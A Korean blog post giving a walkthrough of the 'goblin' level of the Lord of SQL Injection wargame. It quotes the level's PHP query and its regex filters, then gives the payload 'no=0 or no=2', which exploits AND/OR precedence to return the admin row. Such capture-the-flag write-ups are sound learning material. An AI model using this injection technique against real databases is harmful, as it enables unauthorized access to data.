Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 모의해킹
- 게시판 만들기
- 웹개발
- sql injection point
- php
- Python
- 세션
- cookie 탈취
- JS
- 문제 풀이
- 로그인
- Los
- css
- union sql injection
- 로그인페이지
- 웹 개발
- 웹 해킹
- 보안 패치
- XSS
- 보고서
- 과제
- Error based sql injection
- MySQL
- csrf
- file upload
- 증적 사진
- blind sql injection
- lord of sql injection
- CTF
- sql injection
Archives
- Today
- Total
Almon Dev
[Lord of SQL Injection] goblin 풀이 본문
LOS 풀이
goblin
풀이
1. 코드 분석
GET 메서드로 no 파라미터에 값이 쿼리에 삽입되고 쿼리의 결과중 id가 admin인 경우 문제가 풀립니다.
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
prob _ . () 뿐만 아니라 ' " ` 까지 필터링이 됩니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
no의 의미를 예상해보자면 숫자이기 때문에 idx같은 것이 아닐까 생각됩니다.
쿼리의 결과가 있을경우 id를 화면에 출력해 주기 때문에 no에 값을 입력해서 guest의 no 번호를 알아내 봅니다.
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
no가 1인 경우 Hello guest가 출력됩니다.
그렇다면 admin의 no를 찾는다면 admin을 쿼리의 결과로 만들 수 있습니다.
2. 쿼리 삽입
and 연산이 or보다 먼저 되기 때문에
( id='guest' and no=0 ) or no=2 가 됩니다.
guest의 no는 1이었기 때문에 false or no=2가 되어서 no가 2인 admin이 출력됩니다.
select id from prob_goblin where id='guest' and no=0 or no=2
'웹 해킹 > Lord of SQLi' 카테고리의 다른 글
[Lord of SQL Injection] darkelf 풀이 (0) | 2025.01.06 |
---|---|
[Lord of SQL Injection] wolfman 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] orc 풀이 (2) | 2025.01.06 |
[Lord of SQL Injection] cobolt 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] gremlin 풀이 (0) | 2025.01.06 |